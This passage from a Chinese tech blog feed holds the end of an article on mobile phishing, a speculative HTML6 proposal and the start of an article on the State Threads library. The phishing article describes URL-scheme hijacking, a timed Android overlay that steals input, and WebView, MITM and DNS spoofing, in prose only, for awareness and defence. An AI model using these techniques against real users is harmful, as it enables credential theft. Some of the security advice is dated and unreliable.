<p>另外，Apple的App需要有一个review过程，这个过程对大众是神秘的，但我觉得应该会包括安全方面的review。不过，这个审核过程可能也有空子可以钻。比如：在review的时候，这个应用完全正常，但在用户使用的时候，会自己从网站下载一些自己的配置文件而改变行为（更为直接的就是访问外部网页时在审核时和在用户应用时可能完全不一样，Apple应该完全没有能力审核应用要访问的外部站点）</p>
<p><strong>中间人攻击</strong></p>
<p>我们知道，一个APP唤起另一个APP好多都是用url-scheme的，也就是某种协议，审核这样的协议非常简单，所以如果有恶意的东西在里面基本上很容易看到。但是，如果某些APP并没有注册自己的url-scheme，或是没有被安装，反而，另一个有恶意的APP注册了这个scheme，那么，就会导致恶意的APP被唤起来了（<span style="color: #ff0000;"><strong>这就是我为什么在我的微博中说，如果用户没有安装淘宝的客户端，那么，让微信唤起淘宝的客户端时，有可能是另一个有恶意的APP。但是很多人不懂这个事。<span style="color: #000000;">在iOS下，两个APP通讯正确的做法是“钥匙串机制”</span></strong></span>）。</p>
<p>当然如果有两个应用被注册了同一个scheme，那么，iOS和Android会给出一个选择，让用户来选（注：iOS的系统有可能会直接跳某个 App 上去，不同版本的跳规则不明确，可以认为是随机跳转）。于是乎，恶意的APP就要努力的让自己比正规的APP看起来更像个正规的APP就可以了。</p>
<p>在Android平台上，这个事可能更变态，只要恶意的应用有两个权限，一个是随手机操作系统在后台启动，一个是task list（然而这两个权限都是一般权限）。这样一来，当你进行两个APP切换时，恶意程序可以通过task list权限监控到，然后自己马上先于正规的app出现，等到收集完用户数据后简单的退出就好了。这个方式只需要你的程序能在10ms以内反应过来（最佳是5ms左右），人的肉眼根本看不出来。（在iOS设备下，除了jail break后的iPhone可以这么干，正常的都iPhone还没有找到这样的攻击方式）</p>
<h5>在一个应用内内嵌Web的方式</h5>
<p>这种方式更容易攻击了，现在很多很多应用都是内嵌的Web的形式，你完全不知道打开的网页的网站是什么，因为这些内嵌的WebView你连地址都看不见。而且无论是iOS或Android，其WebView都可以执行任何的Javascript代码，就算显示URL，URL也可能是被混乱过的，你也看不全，你也很容易上当。当然，那些使用带SSL证书的支持HTTPS的网站（尤其是EV证书）可以在地址栏上显示一个绿色的标记表示你访问的就是正确网址，但是并不是所有的浏览器都会这样，比如iPhone的Safari并没有这个提示，所以，你一定要用Chrome。</p>
<p>更狠的是就算你打开的是一个正确的URL，你依然可能被中间人攻击。尤其是这个网站使用了明文的HTTP协议，而你又喜欢蹭那些免费的WiFi，于是很容易给把服务器返回给你的网页中做修改，比如，修改网页中login表单或是支付表单提交的网站（想想天朝的网络运营商给你访问的正常的网页弹广告这事吧）</p>
<p>关于DNS劫持，有些人觉得这事可能遇不上，因为这是一个全网的问题，如果你有这样的想法你就错了。还是那样，你爱占便宜，蹭上那些没有密码的WiFi，你完不知道，你连上去的那个WiFi会设置什么样的DNS服务器，你输入了www.taobao.com，但你打开的网站根本就是不是淘定，而是一个钓鱼网站。你会知道你打开的是错的了么？基本不可能。所以，安全点的网站都是要用HTTPS，但是还是那句话，iPhone的Safari并不会提示你打开网站的SSL证书合不合法（事实上，在手机上的很多浏览器都不会这提示，只有Chrome会）。</p>
<p>关于攻击的方式我不想讲太多，还有很多高级+猥琐的方式我也不是完全知道，知道了我也不说，不然，教人犯罪了。</p>
<p>关于从Web端唤起APP是和，APP唤醒APP的攻击方式基本一样。我就不说了。</p>
<h4>怎么防范钓鱼式攻击</h4>
<p>首先，我们要知道，钓鱼式攻击是一件非常难搞的事。要搞定这个事，一般来说需要四个方面：<strong>立法层面</strong>、<strong>用户培训层面</strong>、<strong>宣传层面</strong>、与<strong>技术保全措施层面</strong>。</p>
<p><strong>教育方面</strong></p>
<p>打击网钓的策略之一，是试着培养人们识别网钓，并教导怎样处理这些问题。只需要稍稍修改人们浏览习惯的方式，很多问题都可以避免。随着人们越来越认识到网钓者所使用的社会工程学技俩，传统的网钓欺诈技术可能在未来过时。</p>
<ul>
<li>对别人发来的链接要小心，尤其是让你输入机密信息的链接要小心检查。</li>
</ul>
<ul>
<li>到正规的地方买手机，不要贪图小便宜。旧手机在卖前要“物理删除”数据。</li>
</ul>
<ul>
<li>不要对手机越狱，不要root。</li>
</ul>
<ul>
<li>不要从非信任的地方下载软件。</li>
</ul>
<ul>
<li>要小心免费的WiFi。</li>
</ul>
<ul>
<li>输入机密数据的时候一定要小心检查。</li>
</ul>
<ul>
<li>多依赖一些不同的安全体系，比如：网上支付不要只依赖支付宝，尽量使用信用卡（信用卡千万不要设密码），这样就算是被钓鱼了，你还有一个银行安全的缓冲地带——可以不承认交易。</li>
</ul>
<ul>
<li>现在使用手机的频率越来越高，所以，我非常建议你使用更为安全的iPhone手机，一定要打开“查找我的iPhone”功能，然后设上开机密码。iPhone手机可以做到手机丢失了别人都无法使用，包括刷机都刷不了（iOS7以上版本）</li>
</ul>
<ul>
<li>对于一些关键网站，开启两步验证，这样就算你的用户名和密码被钓走了，还有一个动态手机口令做为登录的关卡。</li>
</ul>
<p><strong>技术方面</strong></p>
<ul>
<li>利用SSL证书来保证从浏览器到网站的访问是现在采用比较多的方式，也是在理论上可行的方式。现代的浏览器都会在URL上放上一个锁的标志，对于EV证书，你会看到浏览器的URL是绿色的（很容易分辨）</li>
</ul>
<ul>
<li>另外，像firefox浏览器有一个petname的插件，你可以为你常上的网站设置一些标签。这样，当你打开钓鱼网站的时候，你会发现这些标签没有显示出来，那就有问题了。</li>
</ul>
<ul>
<li>关于SSL的CA认证机构，你需要管理好你浏览的那些根证书，有些根证书你需要删掉。</li>
</ul>
<ul>
<li>还有一种打击网钓的流行作法是保持一份已知的网钓网站名单，并随时更新。比如<a href="https://www.phishtank.com/" target="_blank">PhishTank</a>，以及<a href="http://www.apac.cn" target="_blank">中国防钓鱼网站联盟</a>。</li>
</ul>
<ul>
<li>增加式登录方式。这种方式被美国银行采用，就是说，你可以上传一个你自己知道的图片，而当你打开登录页面里时，输入了自己的用户名后，你会看到你设置的这个图片被显示出来。如果没有或是显示错了，表示你打开的是钓鱼网站。</li>
</ul>
<ul>
<li>两步验证，通过用户自设密码+手机动态口令登录（好些网站都在使用Google Authenticator的方式，这有点像公司VPN的动态口令）。</li>
</ul>
<p>上述都是PC Web上的防范，然而我们的手机移动端做的并不够好，移动端的安全还是要加油。</p>
<p><strong>安全风控方面</strong></p>
<p><strong>什么叫安全风控，说白了就是拿钱出来赔偿给被骗的用户，大家相信我，这个事情在基本上所有的公司都会做的</strong>，也就是说，无论你怎么做安全也无法保证绝对的安全，你只能缓解或是降低用户被骗的数量或概率。所以，几乎所有的公司都会有一笔钱专门用来赔偿。</p>
<p>在西方国家，用户体验很好，我说一个故事，我有一个妹妹在英国，有一天她到ATM上取钱，取完钱后忘了把卡取出，结果后面的人把她的卡里的钱取走了，于是她报了警，等警察做完笔录后，她给银行的客服打了个电话说明了情况，本想冻结银行卡的，但是银行方面二话不说就赔偿了她所有的损失。为什么英国的巴克莱银行这么痛快，是因为他们有风控基金，专门用来处理这样的事的。</p>
<p>在中国，其实银行和一些大的公司都有这笔安全风控基金，但是，要你非常坚持不懈地申诉，他们才会赔给你，而且还不是全部。要全部的话，我估计你要做一个“刁民”，否则欺负你，没道理。</p>
<h4>关于微信和淘宝</h4>
<p>微信和淘宝到底是谁先屏蔽谁我并不关心，这里面的商业利益我也不关心，微信是不是支持卖东西我也不关心。我关心的是寒冬文章中所说的微信上有淘宝钓鱼的安全问题。</p>
<p>从技术上来说，我觉得要微信和淘宝一起干这事，单方都不行，需要两边的安全专家一起讨论（如果需要，我可以帮你们约）。我这里给一个可能很不成熟的方案，算是抛砖引玉（我不考虑你们之间的商业竞争，我只从用户的角度出发，客户第一）：</p>
<blockquote><p><strong>我觉得，从业务上来说，淘宝可以在微信上有一个官方的商城。而淘宝的商家，需要取得微信的认证后入住，才能分享相关的商品或店家链接，对此，商家入住，我觉得可通过微信的服务账号与淘宝的商家后台集成可以做到。</strong></p>
<p><strong>然后，商家也好，买家也好，他们分享商品只能通过微信官方的商城或是商家的服务账号分享出去，而分享出去的商品信息可以是一个比较unique的形式（比如有一个不能伪造的官方认证的标签），而用户的支付可以通过内置的微信支付也可以通过内置的支付宝（通过唤起App并不是一个好的方式，还是应该你们在服务端进行相互的通信）。</strong></p>
<p><strong>然后微信和淘宝双方通过宣传手段告诉全社会，微信里的商品什么才是正规的，才不是钓鱼的，并给教育用户更为安全地使用手机。</strong></p></blockquote>
<p>P.S. 我虽然这么说，但从我个人来说，我非常理解微信为了让用户有很好的体验而不让微信成为一个四处都是营销商品的地方。所以，我从个人来说，希望微信不要成为一个商家的营销地。另外，我也知道阿里对移动端的看重，所以，上述的方案虽然对用户体验和安全都比较好，但是从目前商业利益的情况看来基本无法实现。不过我这里也只是抛砖引玉了。</p>
<p>面对安全和用户这两个事，<strong>你们两个中国最大的互联网公司，应该带头做好榜样，你们都是不缺钱的公司，应该更多的承担起社会的责任，真正为用户做点什么，而不是整天想着流量入口，互相屏蔽，互相指责，想着自己能有多少用户，这TMD太LOW了，和你们的地位完全不符。所以，从站在用户的角度上来说，我希望微信和淘宝都能站在用户的角度上思考问题，一起合作来真正的为用户更好的服务。</strong></p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/12225.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg" alt="DHH 谈混合移动应用开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12225.html" class="wp_rp_title">DHH 谈混合移动应用开发</a></li><li ><a href="https://coolshell.cn/articles/12136.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg" alt="Google Inbox如何跨平台重用代码？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/12136.html" class="wp_rp_title">Google Inbox如何跨平台重用代码？</a></li><li ><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png" alt="网络数字身份认证术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21708.html" class="wp_rp_title">网络数字身份认证术</a></li><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/17607.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg" alt="从 MongoDB “赎金事件” 看安全问题" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17607.html" class="wp_rp_title">从 MongoDB “赎金事件” 看安全问题</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/17066.html">关于移动端的钓鱼式攻击</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/17066.html/feed</wfw:commentRss>
			<slash:comments>55</slash:comments>
		
		
			</item>
		<item>
		<title>HTML6 展望</title>
		<link>https://coolshell.cn/articles/12206.html</link>
					<comments>https://coolshell.cn/articles/12206.html#comments</comments>
		
		<dc:creator><![CDATA[jnj]]></dc:creator>
		<pubDate>Sat, 06 Dec 2014 04:41:34 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[技术读物]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[HTML6]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=12206</guid>

					<description><![CDATA[<p>HTML5 概述 HTML5 是 HTML 语言最受欢迎的版本之一，它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了&#60;article&#62;,...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/12206.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/12206.html">HTML6 展望</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script></p>
<h3><img decoding="async" loading="lazy" class="size-full wp-image-12211 alignright" src="https://coolshell.cn/wp-content/uploads/2014/12/html6.jpeg" alt="html6" width="225" height="225" srcset="https://coolshell.cn/wp-content/uploads/2014/12/html6.jpeg 225w, https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg 150w, https://coolshell.cn/wp-content/uploads/2014/12/html6-200x200.jpeg 200w" sizes="(max-width: 225px) 100vw, 225px" /></h3>
<h3>HTML5 概述</h3>
<p>HTML5 是 HTML 语言最受欢迎的版本之一，它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了&lt;article&gt;, &lt;section&gt;, &lt;header&gt;这样的标签来帮助开发者更好地组织页面内容。然而 HTML5 规范仍然没有最后定稿，并且它并不是一个真正意义上的语义标记语言。</p>
<h3>HTML6 展望</h3>
<p>你有没有曾经希望能在 HTML 中使用自定义标签？比如：使用&lt;logo&gt;来显示你的网站logo，还有使用&lt;toolbar&gt;来显示工具栏等等。我们经常使用&lt;div id=&#8221;container&#8221;&gt;和&lt;div id=&#8221;wrapper&#8221;&gt;来组织页面，在 HTML6 里我们希望可以直接使用象&lt;container&gt;和&lt;wrapper&gt;这样的自定义标签。</p>
<p>和 XML 一样，HTML6 应该支持 namespace（命名空间），如：xmlns:xhtml=&#8221;http://www.w3.org/1999/xhtml&#8221;</p>
<p>HTML6 代码样例：</p>
<p><span id="more-12206"></span></p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;html:meta type="title" value="Page Title"&gt;
 &lt;html:meta type="description" value="HTML example with namespaces"&gt;
 &lt;html:link src="css/mainfile.css" title="Styles" type="text/css"&gt;
 &lt;html:link src="js/mainfile.js" title="Script" type="text/javascript"&gt;
 &lt;/html:head&gt;
 &lt;html:body&gt;
 &lt;header&gt;
 &lt;logo&gt;
 &lt;html:media type="image" src="images/xyz.png"&gt;
 &lt;/logo&gt;
 &lt;nav&gt;
 &lt;html:a href="/img1"&gt;a1&lt;/a&gt;
 &lt;html:a href="/img2"&gt;a2&lt;/a&gt;
 &lt;/nav&gt;
 &lt;/header&gt;
 &lt;content&gt;
 &lt;article&gt;
 &lt;h1&gt;Heading of main article&lt;/h1&gt;
 &lt;h2&gt;Sub-heading of main article&lt;/h2&gt;
 &lt;p&gt;[...]&lt;/p&gt;
 &lt;p&gt;[...]&lt;/p&gt;
 &lt;/article&gt;
 &lt;article&gt;
 &lt;h1&gt;The concept of HTML6&lt;/h1&gt;
 &lt;h2&gt;Understanding the basics&lt;/h2&gt;
 &lt;p&gt;[...]&lt;/p&gt;
 &lt;/article&gt;
 &lt;/content&gt;
 &lt;footer&gt;
 &lt;copyright&gt;This site is © to Anonymous 2014&lt;/copyright&gt;
 &lt;/footer&gt;
 &lt;/html:body&gt;
 &lt;/html:html&gt;</pre>
<p>在上面的代码中，你也许注意到了一些奇怪的&lt;html:x&gt;标签，它们是 W3C 和 HTML6 规范中在命名空间里定义的标签。例如：&lt;html:title&gt;负责设定你浏览器的标题栏文字，&lt;html:media&gt;负责显示图片等等。用户可以自己定义标签以便 JavaScript 和 CSS 识别和处理，这样页面代码会更易读，语义更清晰。</p>
<h3>HTML6 APIs</h3>
<p>HTML6 的标签前带有命名空间，如：&lt;html:html&gt;, &lt;html:head&gt;等等。</p>
<p>1. &lt;html:html&gt;</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;// this is equivalent to &lt;html&gt; tag written in previous HTML versions
 &lt;!-- sample of HTML document --&gt;
 &lt;/html:html&gt;</pre>
<p>2. &lt;html:head&gt; 和 &lt;head&gt; 标签一样。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;!-- Main content would come here, like the &lt;html:title&gt; tag --&gt;
 &lt;/html:head&gt;
 &lt;/html:html&gt;</pre>
<p>3. &lt;html:title&gt; 和 &lt;title&gt; 标签类似。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;/html:head&gt;
 &lt;/html:html&gt;</pre>
<p>4. &lt;html:meta&gt; 和 &lt;meta&gt; 标签类似，不同之处在于，在 HTML5 中你只能使用标准的元数据类型，如：&#8221;keywords&#8221;, &#8220;description&#8221;, &#8220;author&#8221;等，而在 HTML6 中你可以使用任何元数据类型。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;html:meta type="description" value="HTML example with namespaces"&gt;
 &lt;/html:head&gt;
 &lt;/html:html&gt;</pre>
<p>5. &lt;html:link&gt; 和 HTML6 之前版本的 &lt;link&gt; 标签类似。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;html:link src="js/mainfile.js" title="Script" type="text/javascript"&gt;
 &lt;/html:head&gt;
 &lt;/html:html&gt;</pre>
<p>6. &lt;html:body&gt; 和 &lt;body&gt; 标签一样。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;/html:head&gt;
 &lt;html:body&gt;
 &lt;!-- This is where your website content is placed --&gt;
 &lt;/html:body&gt;
 &lt;/html:html&gt;</pre>
<p>7. &lt;html:a&gt; 和 &lt;a&gt; 标签类似，区别是 &lt;html:a&gt; 只有 &#8220;href&#8221; 一个属性。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;/html:head&gt;
 &lt;html:body&gt;
 &lt;html:a href="http://siteurl"&gt;Go to siteurl.com!&lt;/html:a&gt;
 &lt;/html:body&gt;
 &lt;/html:html&gt;</pre>
<p>8. &lt;html：button&gt; 和 &lt;button&gt; 及 &lt;input type=&#8221;button&#8221;&gt; 一样。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;/html:head&gt;
 &lt;html:body&gt;
 &lt;html:button&gt;Click Here&lt;/html:button&gt;
 &lt;/html:body&gt;
 &lt;/html:html&gt;</pre>
<p>9. &lt;html:media&gt; 涵盖 &lt;img&gt;, &lt;video&gt;, &lt;embed&gt; 等标签的所有功能。&lt;html:media&gt; 的好处是你不用根据不同的媒体文件类型使用不同的标签，媒体的类型由浏览器从文件内容（类型属性，扩展名，和MIME type）中来判断。</p>
<pre>&lt;!DOCTYPE html&gt;
 &lt;html:html&gt;
 &lt;html:head&gt;
 &lt;html:title&gt;A Look Into HTML6&lt;/html:title&gt;
 &lt;/html:head&gt;
 &lt;html:body&gt;
 &lt;!-- Image would come here --&gt;
 &lt;html:media src="img1/logo.jpg" type="image"&gt;
 &lt;!-- Video doesn't need a type --&gt;
 &lt;html:media src="videos/slide.mov"&gt;
 &lt;/html:body&gt;
 &lt;/html:html&gt;</pre>
<h3>标签类型(Tag types)概述</h3>
<p>和 HTML5 一样， HTML6 也有两种标签类型：单标签（single tag) 和双标签（double tag）</p>
<pre>&lt;html:meta type="author" content="single tag"&gt;
 &lt;html:meta type="author" content="double tag" /&gt;</pre>
<p>单标签不需要结束符&#8217;/&#8217;</p>
<h3>结语</h3>
<p>HTML6 规范还未发布，本文原作者 <a href="http://html6spec.com/">Oscar Godson</a> 只是为我们提供了一个对 HTML6 规范的展望，或者说他希望 HTML6 能够支持的一些新特性。</p>
<p>原文链接：<a href="http://java.dzone.com/articles/look-html6-what-it-and-what">A Look Into HTML6 &#8211; What Is It, and What Does it Have to Offer?</a><!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg" alt="浏览器的渲染原理简介" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_title">浏览器的渲染原理简介</a></li><li ><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif" alt="CSS 布局:40个教程、技巧、例子和最佳实践" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_title">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png" alt="一些文章资源和趣闻" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_title">一些文章资源和趣闻</a></li><li ><a href="https://coolshell.cn/articles/5224.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg" alt="一些文章和各种资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5224.html" class="wp_rp_title">一些文章和各种资源</a></li><li ><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg" alt="开源中最好的Web开发的资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_title">开源中最好的Web开发的资源</a></li><li ><a href="https://coolshell.cn/articles/3903.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg" alt="一些有意思的贴子和工具" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3903.html" class="wp_rp_title">一些有意思的贴子和工具</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/12206.html">HTML6 展望</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/12206.html/feed</wfw:commentRss>
			<slash:comments>39</slash:comments>
		
		
			</item>
		<item>
		<title>State Threads 回调终结者</title>
		<link>https://coolshell.cn/articles/12012.html</link>
					<comments>https://coolshell.cn/articles/12012.html#comments</comments>
		
		<dc:creator><![CDATA[Leo]]></dc:creator>
		<pubDate>Sun, 12 Oct 2014 14:48:57 +0000</pubDate>
				<category><![CDATA[C/C++语言]]></category>
		<category><![CDATA[Unix/Linux]]></category>
		<category><![CDATA[Web开发]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[coroutine]]></category>
		<category><![CDATA[EDSM]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[thread]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[协程]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=12012</guid>

					<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 投稿） 上回写了篇《一个“蝇量级”C语言协程库》，推荐了一下Protothreads，通过coroutine模拟了用户级别的mul...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/12012.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/12012.html">State Threads 回调终结者</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><strong>（感谢网友 </strong><a href="http://weibo.com/fullofbull" target="_blank"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>
<p>上回写了篇<a title="一个“蝇量级” C 语言协程库" href="https://coolshell.cn/articles/10975.html" target="_blank">《一个“蝇量级”C语言协程库》</a>，推荐了一下<a title="Protothreads" href="http://dunkels.com/adam/pt/" target="_blank">Protothreads</a>，通过coroutine模拟了用户级别的multi-threading模型，虽然本身足够“轻”，杜绝了系统开销，但这个库本身应用场合主要是内存限制的嵌入式领域，提供原生态组件太少，使用限制太多，比如依赖其它调用产生阻塞等。</p>
<p>这回又替大家在开源界淘了个宝，推荐一个轻量级网络应用框架<strong>State Threads</strong>（以下简称ST），总共也就3000行C代码，跟Protothreads不同在于ST针对的就是<strong>高性能可扩展服务器</strong>领域（值得一提的是Protothreads官网<a title="参考链接" href="http://dunkels.com/adam/pt/links.html" target="_blank">参考链接</a>上第一条就是ST的官网）。在其<a title="FAQ" href="http://state-threads.sourceforge.net/docs/faq.html" target="_blank">FAQ</a>页面上一句引用&#8221;Perfection is achieved not when there is nothing more to add, but rather when there is nothing more to take away.&#8221;可以视为开发人员对ST源码质量的自信。</p>
<h4>历史渊源</h4>
<p>首先介绍一下这个库的历史渊源，从代码贡献者来看，ST不是个人作品，而是有着雄厚的商业支持和应用背景，比如服务器领域，在<a href="http://state-threads.sourceforge.net/news.html" target="_blank">这里</a>你可以看到ST曾作为Apache的多核应用模块发布。其诞生最初是由网景（Netscape）公司的MSPR（Netscape Portable Runtime library）项目中剥离出来，后由SGI（Silicon Graphic Inc）还有Yahoo!公司（前者是主力）开发维护的独立线程库。历史版本方面，作为<a title="SourceForge" href="http://sourceforge.net/projects/state-threads/files/" target="_blank">SourceForge</a>上开源项目，由2001年发布v1.0以来一直到2009年v1.9稳定版后未再变动。在平台移植方面，从Makefile的配置选项中可知ST支持多种Unix-like平台，还有专门针对Win32的源码改写。源码例子中，提供了web server、proxy以及dns三种编程实例供参考。可以说代码质量应该是相当的稳定和可靠的。</p>
<p><span id="more-12012"></span></p>
<p>至于许可证方面，有必要略作说明。出于历史原因，网景最初发布时选择了MPL1.1许可证，而后SGI在维护中又混进了GPLv2许可证，照理说这两种许可证是互不兼容的（MPL1.1后续版本是GPL兼容的），也就是说用双许可证打包发布理论上是非法无效的，见GNU官网上<a title="GPL兼容" href="http://www.gnu.org/licenses/license-list.html#MPL" target="_blank">MPL兼容性</a>一节。但这里有值得商榷的地方，因为文中又提及，根据MPL1.1中某条款第13节，如果整段或部分代码允许采用另一许可证作为备用（alternate）选择，比如GPL及其兼容，那么整个库的许可证就可视为GPL兼容的。如此一来所谓GPL兼容性一般解释为你不能在GPLv2的代码中混入MPL1.1，而不是说你不能在MPL1.1代码中混入GPLv2，也就是说GPLv2在MPL1.1之后是可以接受的，事实上SGI就采用了后面的做法，尚未引起版权上的纠纷。为此我还考证了一下FAQ上<a title="license" href="http://state-threads.sourceforge.net/docs/faq.html" target="_blank">license</a>一节的说法，说ST既可以在MPL和GPL之间选择一种，也可以继续用双许可证，还补了一句在non-free项目使用上也没有限制，但对ST源码所做改动必须对用户可见。在源码文件中的SGI的附加声明还解释了将ST转为GPL代码的做法，就是可以删除前面MPL的声明，否则后续用户仍可以在两者之间二选一。个人觉得既然SGI都这样发话了，那么可解释为反之删除GPL的声明继续采用MPL也是可以接受的，如果你对双许可证承诺仍不放心的话。</p>
<h4>基于事件驱动状态机（EDSM）</h4>
<p>好了，下面该进入技术性话题了。前面说了ST的目标是<strong>高性能可扩展</strong>，其技术特征一言以蔽之就是</p>
<blockquote><p><strong>&#8220;It combines the simplicity of the multi-threaded programming paradigm, in which one thread supports each simultaneous connection, with the performance and scalability of an event-driven state machine (EDSM) architecture.&#8221;</strong></p></blockquote>
